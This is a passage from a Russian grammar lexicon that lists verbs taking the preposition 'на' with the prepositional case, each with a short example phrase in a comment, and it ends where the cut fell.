rus_verbs:топтаться{}, // топтаться на месте rus_verbs:громить{}, // громить на подступах rus_verbs:вычислить{}, // вычислить на бумажке rus_verbs:заказывать{}, // заказывать на сайте rus_verbs:осуществить{}, // осуществить на практике rus_verbs:обосноваться{}, // обосноваться на верхушке rus_verbs:пытать{}, // пытать на электрическом стуле rus_verbs:совершиться{}, // совершиться на заседании rus_verbs:свернуться{}, // свернуться на медленном огне rus_verbs:пролетать{}, // пролетать на дельтаплане rus_verbs:сбыться{}, // сбыться на самом деле rus_verbs:разговориться{}, // разговориться на уроке rus_verbs:разворачиваться{}, // разворачиваться на перекрестке rus_verbs:преподнести{}, // преподнести на блюдечке rus_verbs:напечатать{}, // напечатать на лазернике rus_verbs:прорвать{}, // прорвать на периферии rus_verbs:раскачиваться{}, // раскачиваться на доске rus_verbs:задерживаться{}, // задерживаться на старте rus_verbs:угощать{}, // угощать на вечеринке rus_verbs:шарить{}, // шарить на столе rus_verbs:увеличивать{}, // увеличивать на первом этапе rus_verbs:рехнуться{}, // рехнуться на старости лет rus_verbs:расцвести{}, // расцвести на грядке rus_verbs:закипеть{}, // закипеть на плите rus_verbs:подлететь{}, // подлететь на параплане rus_verbs:рыться{}, // рыться на свалке rus_verbs:добираться{}, // добираться на попутках rus_verbs:продержаться{}, // продержаться на вершине rus_verbs:разыскивать{}, // разыскивать на выставках rus_verbs:освобождать{}, // освобождать на заседании rus_verbs:передвигаться{}, // передвигаться на самокате rus_verbs:проявиться{}, // проявиться на свету rus_verbs:заскользить{}, // заскользить на льду rus_verbs:пересказать{}, // пересказать на сцене студенческого театра rus_verbs:протестовать{}, // протестовать на улице rus_verbs:указываться{}, // указываться на табличках rus_verbs:прискакать{}, // прискакать на лошадке rus_verbs:копошиться{}, // копошиться на свежем воздухе rus_verbs:подсчитать{}, // подсчитать на бумажке rus_verbs:разволноваться{}, // разволноваться на экзамене rus_verbs:завертеться{}, // завертеться на полу rus_verbs:ознакомиться{}, // ознакомиться на ходу rus_verbs:ржать{}, // ржать на уроке rus_verbs:раскинуть{}, // раскинуть на грядках rus_verbs:разгромить{}, // разгромить на ринге rus_verbs:подслушать{}, // подслушать на совещании rus_verbs:описываться{}, // описываться на страницах книги rus_verbs:качаться{}, // качаться на стуле rus_verbs:усилить{}, // усилить на флангах rus_verbs:набросать{}, // набросать на клочке картона rus_verbs:расстреливать{}, // расстреливать на подходе rus_verbs:запрыгать{}, // запрыгать на одной ноге rus_verbs:сыскать{}, // сыскать на чужбине rus_verbs:подтвердиться{}, // подтвердиться на практике rus_verbs:плескаться{}, // плескаться на мелководье rus_verbs:расширяться{}, // расширяться на конце rus_verbs:подержать{}, // подержать на солнце rus_verbs:планироваться{}, // планироваться на общем собрании rus_verbs:сгинуть{}, // сгинуть на чужбине rus_verbs:замкнуться{}, // замкнуться на точке rus_verbs:закачаться{}, // закачаться на ветру rus_verbs:перечитывать{}, // перечитывать на ходу rus_verbs:перелететь{}, // перелететь на дельтаплане rus_verbs:оживать{}, // оживать на солнце rus_verbs:женить{}, // женить на богатой невесте rus_verbs:заглохнуть{}, // заглохнуть на старте rus_verbs:копаться{}, // копаться на полу rus_verbs:развлекаться{}, // развлекаться на дискотеке rus_verbs:печататься{}, // печататься на струйном принтере rus_verbs:обрываться{}, // обрываться на полуслове rus_verbs:ускакать{}, // ускакать на лошадке rus_verbs:подписывать{}, // подписывать на столе rus_verbs:добывать{}, // добывать на выработке rus_verbs:скопиться{}, // скопиться на выходе rus_verbs:повстречать{}, // повстречать на пути rus_verbs:поцеловаться{}, // поцеловаться на площади rus_verbs:растянуть{}, // растянуть на столе rus_verbs:подаваться{}, // подаваться на благотворительном обеде rus_verbs:повстречаться{}, // повстречаться на митинге rus_verbs:примоститься{}, // примоститься на ступеньках rus_verbs:отразить{}, // отразить на страницах доклада rus_verbs:пояснять{}, // пояснять на страницах приложения rus_verbs:накормить{}, // накормить на кухне rus_verbs:поужинать{}, // поужинать на веранде инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге деепричастие:спев{}, инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить на мелководье rus_verbs:освоить{}, // освоить на практике rus_verbs:распластаться{}, // распластаться на травке rus_verbs:отплыть{}, // отплыть на старом каяке rus_verbs:улетать{}, // улетать на любом самолете rus_verbs:отстаивать{}, // отстаивать на корте rus_verbs:осуждать{}, // осуждать на словах rus_verbs:переговорить{}, // переговорить на обеде rus_verbs:укрыть{}, // укрыть на чердаке rus_verbs:томиться{}, // томиться на привязи rus_verbs:сжигать{}, // сжигать на полигоне rus_verbs:позавтракать{}, // позавтракать на лоне природы rus_verbs:функционировать{}, // функционирует на солнечной энергии rus_verbs:разместить{}, // разместить на сайте rus_verbs:пронести{}, // пронести на теле rus_verbs:нашарить{}, // нашарить на столе rus_verbs:корчиться{}, // корчиться на полу rus_verbs:распознать{}, // распознать на снимке rus_verbs:повеситься{}, // повеситься на шнуре rus_verbs:обозначиться{}, // обозначиться на картах rus_verbs:оступиться{}, // оступиться на скользком льду rus_verbs:подносить{}, // подносить на блюдечке rus_verbs:расстелить{}, // расстелить на газоне rus_verbs:обсуждаться{}, // обсуждаться на собрании rus_verbs:расписаться{}, // расписаться на бланке rus_verbs:плестись{}, // плестись на привязи rus_verbs:объявиться{}, // объявиться на сцене rus_verbs:повышаться{}, // повышаться на первом датчике rus_verbs:разрабатывать{}, // разрабатывать на заводе rus_verbs:прерывать{}, // прерывать на середине rus_verbs:каяться{}, // каяться на публике rus_verbs:освоиться{}, // освоиться на лошади rus_verbs:подплыть{}, // подплыть на плоту rus_verbs:оскорбить{}, // оскорбить на митинге rus_verbs:торжествовать{}, // торжествовать на пьедестале rus_verbs:поправлять{}, // поправлять на одежде rus_verbs:отражать{}, // отражать на картине rus_verbs:дремать{}, // дремать на кушетке rus_verbs:применяться{}, // применяться на производстве стали rus_verbs:поражать{}, // поражать на большой дистанции rus_verbs:расстрелять{}, // расстрелять на окраине хутора rus_verbs:рассчитать{}, // рассчитать на калькуляторе rus_verbs:записывать{}, // записывать на ленте rus_verbs:перебирать{}, // перебирать на ладони rus_verbs:разбиться{}, // разбиться на катере rus_verbs:поискать{}, // поискать на ферме rus_verbs:прятать{}, // прятать на заброшенном складе rus_verbs:пропеть{}, // пропеть на эстраде rus_verbs:замелькать{}, // замелькать на экране rus_verbs:грустить{}, // грустить на веранде rus_verbs:крутить{}, // крутить на оси rus_verbs:подготовить{}, // подготовить на конспиративной квартире rus_verbs:различать{}, // различать на картинке rus_verbs:киснуть{}, // киснуть на чужбине rus_verbs:оборваться{}, // оборваться на полуслове rus_verbs:запутаться{}, // запутаться на простейшем тесте rus_verbs:общаться{}, // общаться на уроке rus_verbs:производиться{}, // производиться на фабрике rus_verbs:сочинить{}, // сочинить на досуге rus_verbs:давить{}, // давить на лице rus_verbs:разработать{}, // разработать на секретном предприятии rus_verbs:качать{}, // качать на качелях rus_verbs:тушить{}, // тушить на крыше пожар rus_verbs:охранять{}, // охранять на территории базы rus_verbs:приметить{}, // приметить на взгорке rus_verbs:скрыть{}, // скрыть на теле rus_verbs:удерживать{}, // удерживать на руке rus_verbs:усвоить{}, // усвоить на уроке rus_verbs:растаять{}, // растаять на солнечной стороне rus_verbs:красоваться{}, // красоваться на виду rus_verbs:сохраняться{}, // сохраняться на холоде rus_verbs:лечить{}, // лечить на дому rus_verbs:прокатиться{}, // прокатиться на уницикле rus_verbs:договариваться{}, // договариваться на нейтральной территории rus_verbs:качнуться{}, // качнуться на одной ноге rus_verbs:опубликовать{}, // опубликовать на сайте rus_verbs:отражаться{}, // отражаться на поверхности воды rus_verbs:обедать{}, // обедать на веранде rus_verbs:посидеть{}, // посидеть на лавочке rus_verbs:сообщаться{}, // сообщаться на официальном сайте rus_verbs:свершиться{}, // свершиться на заседании rus_verbs:ночевать{}, // ночевать на даче rus_verbs:темнеть{}, // темнеть на свету rus_verbs:гибнуть{}, // гибнуть на территории полигона rus_verbs:усиливаться{}, // усиливаться на территории округа rus_verbs:проживать{}, // проживать на даче rus_verbs:исследовать{}, // исследовать на большой глубине rus_verbs:обитать{}, // обитать на громадной глубине rus_verbs:сталкиваться{}, // сталкиваться на большой высоте rus_verbs:таиться{}, // таиться на большой глубине rus_verbs:спасать{}, // спасать на пожаре rus_verbs:сказываться{}, // сказываться на общем результате rus_verbs:заблудиться{}, // заблудиться на стройке rus_verbs:пошарить{}, // пошарить на полках rus_verbs:планировать{}, // планировать на бумаге rus_verbs:ранить{}, // ранить на полигоне rus_verbs:хлопать{}, // хлопать на сцене rus_verbs:основать{}, // основать на горе новый монастырь rus_verbs:отбить{}, // отбить на столе rus_verbs:отрицать{}, // отрицать на заседании комиссии rus_verbs:устоять{}, // устоять на ногах rus_verbs:отзываться{}, // отзываться на страницах отчёта rus_verbs:притормозить{}, // притормозить на обочине rus_verbs:читаться{}, // читаться на лице rus_verbs:заиграть{}, // заиграть на саксофоне rus_verbs:зависнуть{}, // зависнуть на игровой площадке rus_verbs:сознаться{}, // сознаться на допросе rus_verbs:выясняться{}, // выясняться на очной ставке rus_verbs:наводить{}, // наводить на столе порядок rus_verbs:покоиться{}, // покоиться на кладбище rus_verbs:значиться{}, // значиться на бейджике rus_verbs:съехать{}, // съехать на санках rus_verbs:познакомить{}, // познакомить на свадьбе rus_verbs:завязать{}, // завязать на спине rus_verbs:грохнуть{}, // грохнуть на площади rus_verbs:разъехаться{}, // разъехаться на узкой дороге rus_verbs:столпиться{}, // столпиться на крыльце rus_verbs:порыться{}, // порыться на полках rus_verbs:ослабить{}, // ослабить на шее rus_verbs:оправдывать{}, // оправдывать на суде rus_verbs:обнаруживаться{}, // обнаруживаться на складе rus_verbs:спастись{}, // спастись на дереве rus_verbs:прерваться{}, // прерваться на полуслове rus_verbs:строиться{}, // строиться на пустыре rus_verbs:познать{}, // познать на практике rus_verbs:путешествовать{}, // путешествовать на поезде rus_verbs:побеждать{}, // побеждать на ринге rus_verbs:рассматриваться{}, // рассматриваться на заседании rus_verbs:продаваться{}, // продаваться на открытом рынке rus_verbs:разместиться{}, // разместиться на базе rus_verbs:завыть{}, // завыть на холме rus_verbs:настигнуть{}, // настигнуть на окраине rus_verbs:укрыться{}, // укрыться на чердаке rus_verbs:расплакаться{}, // расплакаться на заседании комиссии rus_verbs:заканчивать{}, // заканчивать на последнем задании rus_verbs:пролежать{}, // пролежать на столе rus_verbs:громоздиться{}, // громоздиться на полу rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе rus_verbs:поскользнуться{}, // поскользнуться на льду rus_verbs:таскать{}, // таскать на спине rus_verbs:просматривать{}, // просматривать на сайте rus_verbs:обдумать{}, // обдумать на досуге rus_verbs:гадать{}, // гадать на кофейной гуще rus_verbs:останавливать{}, // останавливать на выходе rus_verbs:обозначать{}, // обозначать на странице rus_verbs:долететь{}, // долететь на спортивном байке rus_verbs:тесниться{}, // тесниться на чердачке rus_verbs:хоронить{}, // хоронить на частном кладбище rus_verbs:установиться{}, // установиться на юге rus_verbs:прикидывать{}, // прикидывать на клочке бумаги rus_verbs:затаиться{}, // затаиться на дереве rus_verbs:раздобыть{}, // раздобыть на складе rus_verbs:перебросить{}, // перебросить на вертолетах rus_verbs:захватывать{}, // захватывать на базе rus_verbs:сказаться{}, // сказаться на итоговых оценках rus_verbs:покачиваться{}, // покачиваться на волнах rus_verbs:крутиться{}, // крутиться на кухне rus_verbs:помещаться{}, // помещаться на полке rus_verbs:питаться{}, // питаться на помойке rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле rus_verbs:кататься{}, // кататься на велике rus_verbs:поработать{}, // поработать на стройке rus_verbs:ограбить{}, // ограбить на пустыре rus_verbs:зарабатывать{}, // зарабатывать на бирже rus_verbs:преуспеть{}, // преуспеть на ниве искусства rus_verbs:заерзать{}, // заерзать на стуле rus_verbs:разъяснить{}, // разъяснить на полях rus_verbs:отчеканить{}, // отчеканить на медной пластине rus_verbs:торговать{}, // торговать на рынке rus_verbs:поколебаться{}, // поколебаться на пороге rus_verbs:прикинуть{}, // прикинуть на бумажке rus_verbs:рассечь{}, // рассечь на тупом конце rus_verbs:посмеяться{}, // посмеяться на переменке rus_verbs:остыть{}, // остыть на морозном воздухе rus_verbs:запереться{}, // запереться на чердаке rus_verbs:обогнать{}, // обогнать на повороте rus_verbs:подтянуться{}, // подтянуться на турнике rus_verbs:привозить{}, // привозить на машине rus_verbs:подбирать{}, // подбирать на полу rus_verbs:уничтожать{}, // уничтожать на подходе rus_verbs:притаиться{}, // притаиться на вершине rus_verbs:плясать{}, // плясать на костях rus_verbs:поджидать{}, // поджидать на вокзале rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!) rus_verbs:смениться{}, // смениться на посту rus_verbs:посчитать{}, // посчитать на пальцах rus_verbs:прицелиться{}, // прицелиться на бегу rus_verbs:нарисовать{}, // нарисовать на стене rus_verbs:прыгать{}, // прыгать на сцене rus_verbs:повертеть{}, // повертеть на пальце rus_verbs:попрощаться{}, // попрощаться на панихиде инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване rus_verbs:разобрать{}, // разобрать на столе rus_verbs:помереть{}, // помереть на чужбине rus_verbs:различить{}, // различить на нечеткой фотографии rus_verbs:рисовать{}, // рисовать на доске rus_verbs:проследить{}, // проследить на экране rus_verbs:задремать{}, // задремать на диване rus_verbs:ругаться{}, // ругаться на людях rus_verbs:сгореть{}, // сгореть на работе rus_verbs:зазвучать{}, // зазвучать на коротких волнах rus_verbs:задохнуться{}, // задохнуться на вершине горы rus_verbs:порождать{}, // порождать на поверхности небольшую рябь rus_verbs:отдыхать{}, // отдыхать на курорте rus_verbs:образовать{}, // образовать на дне толстый слой rus_verbs:поправиться{}, // поправиться на дармовых харчах rus_verbs:отмечать{}, // отмечать на календаре rus_verbs:реять{}, // реять на флагштоке rus_verbs:ползти{}, // ползти на коленях rus_verbs:продавать{}, // продавать на аукционе rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче rus_verbs:рыскать{}, // мышки рыскали на кухне rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы rus_verbs:напасть{}, // напасть на территории другого государства rus_verbs:издать{}, // издать на западе rus_verbs:оставаться{}, // оставаться на страже порядка rus_verbs:появиться{}, // наконец появиться на экране rus_verbs:лежать{}, // лежать на столе rus_verbs:ждать{}, // ждать на берегу инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге глагол:писать{aux stress="пис^ать"}, rus_verbs:оказываться{}, // оказываться на полу rus_verbs:поставить{}, // поставить на столе rus_verbs:держать{}, // держать на крючке rus_verbs:выходить{}, // выходить на остановке rus_verbs:заговорить{}, // заговорить на китайском языке rus_verbs:ожидать{}, // ожидать на стоянке rus_verbs:закричать{}, // закричал на минарете муэдзин rus_verbs:простоять{}, // простоять на посту rus_verbs:продолжить{}, // продолжить на первом этаже rus_verbs:ощутить{}, // ощутить на себе влияние кризиса rus_verbs:состоять{}, // состоять на учете rus_verbs:готовиться{}, инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте глагол:акклиматизироваться{вид:несоверш}, rus_verbs:арестовать{}, // грабители были арестованы на месте преступления rus_verbs:схватить{}, // грабители были схвачены на месте преступления инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе глагол:атаковать{ вид:соверш }, прилагательное:атакованный{ вид:соверш }, прилагательное:атаковавший{ вид:соверш }, rus_verbs:базировать{}, // установка будет базирована на границе rus_verbs:базироваться{}, // установка базируется на границе rus_verbs:барахтаться{}, // дети барахтались на мелководье rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке rus_verbs:бренчать{}, // парень что-то бренчал на гитаре rus_verbs:бренькать{}, // парень что-то бренькает на гитаре rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории. rus_verbs:буксовать{}, // Колеса буксуют на льду rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле rus_verbs:взвести{}, // Боец взвел на оружии предохранитель rus_verbs:вилять{}, // Машина сильно виляла на дороге rus_verbs:висеть{}, // Яблоко висит на ветке rus_verbs:возлежать{}, // возлежать на лежанке rus_verbs:подниматься{}, // Мы поднимаемся на лифте rus_verbs:подняться{}, // Мы поднимемся на лифте rus_verbs:восседать{}, // Коля восседает на лошади rus_verbs:воссиять{}, // Луна воссияла на небе rus_verbs:воцариться{}, // Мир воцарился на всей земле rus_verbs:воцаряться{}, // Мир воцаряется на всей земле rus_verbs:вращать{}, // вращать на поясе rus_verbs:вращаться{}, // вращаться на поясе rus_verbs:встретить{}, // встретить друга на улице rus_verbs:встретиться{}, // встретиться на занятиях rus_verbs:встречать{}, // встречать на занятиях rus_verbs:въебывать{}, // въебывать на работе rus_verbs:въезжать{}, // въезжать на автомобиле rus_verbs:въехать{}, // въехать на автомобиле rus_verbs:выгорать{}, // ткань выгорает на солнце rus_verbs:выгореть{}, // ткань выгорела на солнце rus_verbs:выгравировать{}, // выгравировать на табличке надпись rus_verbs:выжить{}, // выжить на необитаемом острове rus_verbs:вылежаться{}, // помидоры вылежались на солнце rus_verbs:вылеживаться{}, // вылеживаться на солнце rus_verbs:выместить{}, // выместить на ком-то злобу rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение rus_verbs:вымещаться{}, // вымещаться на ком-то rus_verbs:выращивать{}, // выращивать на грядке помидоры rus_verbs:выращиваться{}, // выращиваться на грядке инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись глагол:вырезать{вид:соверш}, инфинитив:вырезать{вид:несоверш}, глагол:вырезать{вид:несоверш}, rus_verbs:вырисоваться{}, // вырисоваться на графике rus_verbs:вырисовываться{}, // вырисовываться на графике rus_verbs:высаживать{}, // высаживать на необитаемом острове rus_verbs:высаживаться{}, // высаживаться на острове rus_verbs:высвечивать{}, // высвечивать на дисплее температуру rus_verbs:высвечиваться{}, // высвечиваться на дисплее rus_verbs:выстроить{}, // выстроить на фундаменте rus_verbs:выстроиться{}, // выстроиться на плацу rus_verbs:выстудить{}, // выстудить на морозе rus_verbs:выстудиться{}, // выстудиться на морозе rus_verbs:выстужать{}, // выстужать на морозе rus_verbs:выстуживать{}, // выстуживать на морозе rus_verbs:выстуживаться{}, // выстуживаться на морозе rus_verbs:выстукать{}, // выстукать на клавиатуре rus_verbs:выстукивать{}, // выстукивать на клавиатуре rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре rus_verbs:выступать{}, // выступать на сцене rus_verbs:выступить{}, // выступить на сцене rus_verbs:выстучать{}, // выстучать на клавиатуре rus_verbs:выстывать{}, // выстывать на морозе rus_verbs:выстыть{}, // выстыть на морозе rus_verbs:вытатуировать{}, // вытатуировать на руке якорь rus_verbs:говорить{}, // говорить на повышенных тонах rus_verbs:заметить{}, // заметить на берегу rus_verbs:стоять{}, // твёрдо стоять на ногах rus_verbs:оказаться{}, // оказаться на передовой линии rus_verbs:почувствовать{}, // почувствовать на своей шкуре rus_verbs:остановиться{}, // остановиться на первом пункте rus_verbs:показаться{}, // показаться на горизонте rus_verbs:чувствовать{}, // чувствовать на своей шкуре rus_verbs:искать{}, // искать на открытом пространстве rus_verbs:иметься{}, // иметься на складе rus_verbs:клясться{}, // клясться на Коране rus_verbs:прервать{}, // прервать на полуслове rus_verbs:играть{}, // играть на чувствах rus_verbs:спуститься{}, // спуститься на парашюте rus_verbs:понадобиться{}, // понадобиться на экзамене rus_verbs:служить{}, // служить на флоте rus_verbs:подобрать{}, // подобрать на улице rus_verbs:появляться{}, // появляться на сцене rus_verbs:селить{}, // селить на чердаке rus_verbs:поймать{}, // поймать на границе rus_verbs:увидать{}, // увидать на опушке rus_verbs:подождать{}, // подождать на перроне rus_verbs:прочесть{}, // прочесть на полях rus_verbs:тонуть{}, // тонуть на мелководье rus_verbs:ощущать{}, // ощущать на коже rus_verbs:отметить{}, // отметить на полях rus_verbs:показывать{}, // показывать на графике rus_verbs:разговаривать{}, // разговаривать на иностранном языке rus_verbs:прочитать{}, // прочитать на сайте rus_verbs:попробовать{}, // попробовать на практике rus_verbs:замечать{}, // замечать на коже грязь rus_verbs:нести{}, // нести на плечах rus_verbs:носить{}, // носить на голове rus_verbs:гореть{}, // гореть на работе rus_verbs:застыть{}, // застыть на пороге инфинитив:жениться{ вид:соверш }, // жениться на королеве глагол:жениться{ вид:соверш }, прилагательное:женатый{}, прилагательное:женившийся{}, rus_verbs:спрятать{}, // спрятать на чердаке rus_verbs:развернуться{}, // развернуться на плацу rus_verbs:строить{}, // строить на песке rus_verbs:устроить{}, // устроить на даче тестральный вечер rus_verbs:настаивать{}, // настаивать на выполнении приказа rus_verbs:находить{}, // находить на берегу rus_verbs:мелькнуть{}, // мелькнуть на экране rus_verbs:очутиться{}, // очутиться на опушке леса инфинитив:использовать{вид:соверш}, // использовать на работе глагол:использовать{вид:соверш}, инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, прилагательное:использованный{}, прилагательное:использующий{}, прилагательное:использовавший{}, rus_verbs:лететь{}, // лететь на воздушном шаре rus_verbs:смеяться{}, // смеяться на сцене rus_verbs:ездить{}, // ездить на мопеде rus_verbs:заснуть{}, // заснуть на диване rus_verbs:застать{}, // застать на рабочем месте rus_verbs:очнуться{}, // очнуться на больничной койке rus_verbs:разглядеть{}, // разглядеть на фотографии rus_verbs:обойти{}, // обойти на вираже rus_verbs:удержаться{}, // удержаться на троне rus_verbs:побывать{}, // побывать на другой планете rus_verbs:заняться{}, // заняться на выходных делом rus_verbs:вянуть{}, // вянуть на солнце rus_verbs:постоять{}, // постоять на голове rus_verbs:приобрести{}, // приобрести на распродаже rus_verbs:попасться{}, // попасться на краже rus_verbs:продолжаться{}, // продолжаться на земле rus_verbs:открывать{}, // открывать на арене rus_verbs:создавать{}, // создавать на сцене rus_verbs:обсуждать{}, // обсуждать на кухне rus_verbs:отыскать{}, // отыскать на полу rus_verbs:уснуть{}, // уснуть на диване rus_verbs:задержаться{}, // задержаться на работе rus_verbs:курить{}, // курить на свежем воздухе rus_verbs:приподняться{}, // приподняться на локтях rus_verbs:установить{}, // установить на вершине rus_verbs:запереть{}, // запереть на балконе rus_verbs:синеть{}, // синеть на воздухе rus_verbs:убивать{}, // убивать на нейтральной территории rus_verbs:скрываться{}, // скрываться на даче rus_verbs:родить{}, // родить на полу rus_verbs:описать{}, // описать на страницах книги rus_verbs:перехватить{}, // перехватить на подлете rus_verbs:скрывать{}, // скрывать на даче rus_verbs:сменить{}, // сменить на посту rus_verbs:мелькать{}, // мелькать на экране rus_verbs:присутствовать{}, // присутствовать на мероприятии rus_verbs:украсть{}, // украсть на рынке rus_verbs:победить{}, // победить на ринге rus_verbs:упомянуть{}, // упомянуть на страницах романа rus_verbs:плыть{}, // плыть на старой лодке rus_verbs:повиснуть{}, // повиснуть на перекладине rus_verbs:нащупать{}, // нащупать на дне rus_verbs:затихнуть{}, // затихнуть на дне rus_verbs:построить{}, // построить на участке rus_verbs:поддерживать{}, // поддерживать на поверхности rus_verbs:заработать{}, // заработать на бирже rus_verbs:провалиться{}, // провалиться на экзамене rus_verbs:сохранить{}, // сохранить на диске rus_verbs:располагаться{}, // располагаться на софе rus_verbs:поклясться{}, // поклясться на библии rus_verbs:сражаться{}, // сражаться на арене rus_verbs:спускаться{}, // спускаться на дельтаплане rus_verbs:уничтожить{}, // уничтожить на подступах rus_verbs:изучить{}, // изучить на практике rus_verbs:рождаться{}, // рождаться на праздниках rus_verbs:прилететь{}, // прилететь на самолете rus_verbs:догнать{}, // догнать на перекрестке rus_verbs:изобразить{}, // изобразить на бумаге rus_verbs:проехать{}, // проехать на тракторе rus_verbs:приготовить{}, // приготовить на масле rus_verbs:споткнуться{}, // споткнуться на полу rus_verbs:собирать{}, // собирать на берегу rus_verbs:отсутствовать{}, // отсутствовать на тусовке rus_verbs:приземлиться{}, // приземлиться на военном аэродроме rus_verbs:сыграть{}, // сыграть на трубе rus_verbs:прятаться{}, // прятаться на даче rus_verbs:спрятаться{}, // спрятаться на чердаке rus_verbs:провозгласить{}, // провозгласить на митинге rus_verbs:изложить{}, // изложить на бумаге rus_verbs:использоваться{}, // использоваться на практике rus_verbs:замяться{}, // замяться на входе rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота rus_verbs:сверкнуть{}, // сверкнуть на солнце rus_verbs:сверкать{}, // сверкать на свету rus_verbs:задержать{}, // задержать на митинге rus_verbs:осечься{}, // осечься на первом слове rus_verbs:хранить{}, // хранить на банковском счету rus_verbs:шутить{}, // шутить на уроке rus_verbs:кружиться{}, // кружиться на балу rus_verbs:чертить{}, // чертить на доске rus_verbs:отразиться{}, // отразиться на оценках rus_verbs:греть{}, // греть на солнце rus_verbs:рассуждать{}, // рассуждать на страницах своей книги rus_verbs:окружать{}, // окружать на острове rus_verbs:сопровождать{}, // сопровождать на охоте rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте rus_verbs:содержаться{}, // содержаться на приусадебном участке rus_verbs:поселиться{}, // поселиться на даче rus_verbs:запеть{}, // запеть на сцене инфинитив:провозить{ вид:несоверш }, // провозить на теле глагол:провозить{ вид:несоверш }, прилагательное:провезенный{}, прилагательное:провозивший{вид:несоверш}, прилагательное:провозящий{вид:несоверш}, деепричастие:провозя{}, rus_verbs:мочить{}, // мочить на месте rus_verbs:преследовать{}, // преследовать на территории другого штата rus_verbs:пролететь{}, // пролетел на параплане rus_verbs:драться{}, // драться на рапирах rus_verbs:просидеть{}, // просидеть на занятиях rus_verbs:убираться{}, // убираться на балконе rus_verbs:таять{}, // таять на солнце rus_verbs:проверять{}, // проверять на полиграфе rus_verbs:убеждать{}, // убеждать на примере rus_verbs:скользить{}, // скользить на льду rus_verbs:приобретать{}, // приобретать на распродаже rus_verbs:летать{}, // летать на метле rus_verbs:толпиться{}, // толпиться на перроне rus_verbs:плавать{}, // плавать на надувном матрасе rus_verbs:описывать{}, // описывать на страницах повести rus_verbs:пробыть{}, // пробыть на солнце слишком долго rus_verbs:застрять{}, // застрять на верхнем этаже rus_verbs:метаться{}, // метаться на полу rus_verbs:сжечь{}, // сжечь на костре rus_verbs:расслабиться{}, // расслабиться на кушетке rus_verbs:услыхать{}, // услыхать на рынке rus_verbs:удержать{}, // удержать на прежнем уровне rus_verbs:образоваться{}, // образоваться на дне rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа rus_verbs:уезжать{}, // уезжать на попутке rus_verbs:похоронить{}, // похоронить на закрытом кладбище rus_verbs:настоять{}, // настоять на пересмотре оценок rus_verbs:растянуться{}, // растянуться на горячем песке rus_verbs:покрутить{}, // покрутить на шесте rus_verbs:обнаружиться{}, // обнаружиться на болоте rus_verbs:гулять{}, // гулять на свадьбе rus_verbs:утонуть{}, // утонуть на курорте rus_verbs:храниться{}, // храниться на депозите rus_verbs:танцевать{}, // танцевать на свадьбе rus_verbs:трудиться{}, // трудиться на заводе инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати глагол:засыпать{переходность:непереходный вид:несоверш}, деепричастие:засыпая{переходность:непереходный вид:несоверш}, прилагательное:засыпавший{переходность:непереходный вид:несоверш}, прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках rus_verbs:сушить{}, // сушить на открытом воздухе rus_verbs:зашевелиться{}, // зашевелиться на чердаке rus_verbs:обдумывать{}, // обдумывать на досуге rus_verbs:докладывать{}, // докладывать на научной конференции rus_verbs:промелькнуть{}, // промелькнуть на экране // прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории прилагательное:написанный{}, // слово, написанное на заборе rus_verbs:умещаться{}, // компьютер, умещающийся на ладони rus_verbs:открыть{}, // книга, открытая на последней странице rus_verbs:спать{}, // йог, спящий на гвоздях rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте rus_verbs:отобразиться{}, // удивление, отобразившееся на лице rus_verbs:увидеть{}, // на полу я увидел чьи-то следы rus_verbs:видеть{}, // на полу я вижу чьи-то следы rus_verbs:оставить{}, // Мел оставил на доске белый след. rus_verbs:оставлять{}, // Мел оставляет на доске белый след. rus_verbs:встречаться{}, // встречаться на лекциях rus_verbs:познакомиться{}, // познакомиться на занятиях rus_verbs:устроиться{}, // она устроилась на кровати rus_verbs:ложиться{}, // ложись на полу rus_verbs:останавливаться{}, // останавливаться на достигнутом rus_verbs:спотыкаться{}, // спотыкаться на ровном месте rus_verbs:распечатать{}, // распечатать на бумаге rus_verbs:распечатывать{}, // распечатывать на бумаге rus_verbs:просмотреть{}, // просмотреть на бумаге rus_verbs:закрепляться{}, // закрепляться на плацдарме rus_verbs:погреться{}, // погреться на солнышке rus_verbs:мешать{}, // Он мешал краски на палитре. rus_verbs:занять{}, // Он занял первое место на соревнованиях. rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках. деепричастие:женившись{ вид:соверш }, rus_verbs:везти{}, // Он везёт песок на тачке. прилагательное:казненный{}, // Он был казнён на электрическом стуле. rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче. rus_verbs:принести{}, // Официантка принесла нам обед на подносе. rus_verbs:переписать{}, // Перепишите эту рукопись на машинке. rus_verbs:идти{}, // Поезд идёт на малой скорости. rus_verbs:петь{}, // птички поют на рассвете rus_verbs:смотреть{}, // Смотри на обороте. rus_verbs:прибрать{}, // прибрать на столе rus_verbs:прибраться{}, // прибраться на столе rus_verbs:растить{}, // растить капусту на огороде rus_verbs:тащить{}, // тащить ребенка на руках rus_verbs:убирать{}, // убирать на 